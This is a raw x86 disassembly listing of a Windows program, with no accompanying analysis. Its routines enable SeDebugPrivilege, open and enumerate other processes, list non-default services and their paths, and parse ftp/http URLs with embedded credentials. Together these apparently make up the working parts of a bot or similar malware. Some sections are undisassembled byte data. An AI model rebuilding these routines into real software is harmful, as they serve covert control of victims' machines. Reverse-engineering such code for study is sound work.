lea ecx, [esp+4A4h+var_490]
call near ptr 7608B84Ch
nop
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 24244C8Dh, 0FE1366E8h, 0E850FFh, 90023C0Ah, 14244C8Dh
dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h
dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
dd 44Ch, 0D8964h, 81000000h, 458C4h
db 0, 0C3h
; ---------------------------------------------------------------------------
loc_42036A: ; CODE XREF: sub_4201F0+5Aj
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4201F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420400 proc near ; CODE XREF: sub_401EABj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2910B29h
mov ebx, eax
test ebx, ebx
jnz short loc_420425
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420425: ; CODE XREF: sub_420400+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push ebx
nop
call near ptr 28B0466h
mov esi, eax
test esi, esi
jnz short loc_420450
push ebx
nop
call near ptr 292029Dh
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420450: ; CODE XREF: sub_420400+3Fj
push ebp
push edi
mov edi, dword_511748
push esi
call edi
push esi
call edi
mov ebp, dword_511744
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, dword_511754
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420400 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4204D0 proc near ; CODE XREF: sub_4018B6j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
nop
call near ptr 27902EDh
push eax
call near ptr 28D16C1h
nop
mov ebp, dword_511720
mov edi, dword_5118E0
test eax, eax
jnz short loc_420520
lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 279033Ch
push eax
nop
call near ptr 28D1CF8h
test eax, eax
jz short loc_42057F
loc_420520: ; CODE XREF: sub_4204D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420583
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
nop
call near ptr 28E0000h
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_420578
nop
call near ptr 27C08B7h
cmp eax, 514h
jnz short loc_420583
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42057D
; ---------------------------------------------------------------------------
loc_420578: ; CODE XREF: sub_4204D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42057D: ; CODE XREF: sub_4204D0+A6j
call edi
loc_42057F: ; CODE XREF: sub_4204D0+4Ej
mov [esp+38h+var_28], esi
loc_420583: ; CODE XREF: sub_4204D0+54j
; sub_4204D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2700000h
mov esi, eax
test esi, esi
jz short loc_4205A8
push 0
push esi
nop
call near ptr 2790349h
push esi
mov bl, 1
call edi
loc_4205A8: ; CODE XREF: sub_4204D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4205C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_4205C7: ; CODE XREF: sub_4204D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4204D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420630 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420630
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_437B30
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
call near ptr 2890000h
nop
test eax, eax
mov dword_50DB40, eax
jnz short loc_42067C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27E09C7h
test eax, eax
mov dword_50DB40, eax
jz loc_4207FA
loc_42067C: ; CODE XREF: sub_420630+32j
mov esi, dword_511918
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov dword_50DB44, eax
mov eax, dword_50DB40
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, dword_50DB40
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50DB48, eax
call esi
mov ecx, dword_50DB44
mov dword_50DB4C, eax
test ecx, ecx
jz loc_4207FA
mov edx, dword_50DB48
test edx, edx
jz loc_4207FA
test eax, eax
jz loc_4207FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_4207FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4207E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_5117E0
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42073F: ; CODE XREF: sub_420630+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_4207CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50DB48
test eax, eax
jz short loc_4207C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50DB4C
lea ecx, [esp+74h+var_54]
call sub_401875
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015E1
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402185
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A82
loc_4207C6: ; CODE XREF: sub_420630+136j
push esi
nop
call near ptr 284070Bh
loc_4207CD: ; CODE XREF: sub_420630+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42073F
pop ebp
pop ebx
loc_4207E1: ; CODE XREF: sub_420630+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4207FA: ; CODE XREF: sub_420630+46j
; sub_420630+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420630 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208A0 proc near ; CODE XREF: sub_401875j
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_4208A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4208C0 proc near ; CODE XREF: sub_401A82j
jmp sub_401226
sub_4208C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4208E0 proc near ; CODE XREF: sub_402162j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4208E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
nop
call near ptr 2910B29h
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42092F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42092F: ; CODE XREF: sub_4208E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_445324
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset off_44530C
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_40142E
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_511718
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420C8F
mov ebp, dword_511764
loc_420B6B: ; CODE XREF: sub_4208E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420B97
lea esi, [esp+524h+var_4E0]
loc_420B78: ; CODE XREF: sub_4208E0+2B5j
mov ecx, [edi]
push ecx
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz loc_420C73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420B78
loc_420B97: ; CODE XREF: sub_4208E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_40168B
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_420BE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420C3A
; ---------------------------------------------------------------------------
loc_420BE3: ; CODE XREF: sub_4208E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
nop
call near ptr 28F0000h
cmp eax, ebx
jz short loc_420C1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420C3A
; ---------------------------------------------------------------------------
loc_420C1D: ; CODE XREF: sub_4208E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420C3A: ; CODE XREF: sub_4208E0+301j
; sub_4208E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014D3
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420C73: ; CODE XREF: sub_4208E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420B6B
mov ebp, [esp+524h+var_4FC]
loc_420C8F: ; CODE XREF: sub_4208E0+27Fj
push ebp
nop
call near ptr 292029Dh
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4208E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420DD0 proc near ; CODE XREF: sub_4015F5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
nop
call near ptr 2890000h
push eax
nop
call near ptr 2881331h
mov eax, esi
pop esi
retn
sub_420DD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E00 proc near ; CODE XREF: sub_401A37j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420E39
loc_420E22: ; CODE XREF: sub_420E00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420E22
cmp ecx, 0
jz short loc_420E4A
loc_420E39: ; CODE XREF: sub_420E00+20j
; sub_420E00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420E39
loc_420E4A: ; CODE XREF: sub_420E00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420EA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50DB34, eax
mov eax, offset dword_50DB34
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420EC0: ; CODE XREF: ___:0040177Bj
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_511AAC
push esi
call edi
mov ebp, dword_511AA4
push 2
push 0
push esi
mov ebx, eax
call ebp
push esi
call edi
push 0
push ebx
push esi
mov edi, eax
call ebp
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420F10 proc near ; CODE XREF: sub_401947j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420F10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420F3F
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_420F3F: ; CODE XREF: sub_420F10+26j
lea ecx, [esp+90h+var_84]
call sub_40142E
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015E1
push offset asc_444C7C ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420FCF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420FCF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_420FCF: ; CODE XREF: sub_420F10+92j
; sub_420F10+A2j
push offset asc_4453F8 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D34
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_4453F8 ; "/"
push 1
jz loc_42130C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016B8
push offset asc_444C7C ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_4210C9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_4210C9: ; CODE XREF: sub_420F10+19Cj
push offset asc_4453F8 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016B8
push offset asc_444C7C ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421195
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42117E
mov dword ptr [esi+54h], 50h
loc_42117E: ; CODE XREF: sub_420F10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421195
mov dword ptr [esi+54h], 15h
loc_421195: ; CODE XREF: sub_420F10+255j
; sub_420F10+27Cj
push offset asc_4453F8 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016B8
push offset asc_444C7C ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016B8
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42124E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_42124E: ; CODE XREF: sub_420F10+321j
push offset asc_4453F8 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016B8
push offset asc_444C7C ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016B8
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421433
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_42130C: ; CODE XREF: sub_420F10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016B8
push offset asc_444C7C ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F40
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421393
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421519
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420F10+466j
push offset asc_4453F8 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset asc_444C7C ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421433
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42141C
mov dword ptr [esi+54h], 50h
loc_42141C: ; CODE XREF: sub_420F10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421433
mov dword ptr [esi+54h], 15h
loc_421433: ; CODE XREF: sub_420F10+3DBj
; sub_420F10+4F3j ...
push offset asc_4453F8 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013ED
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E47
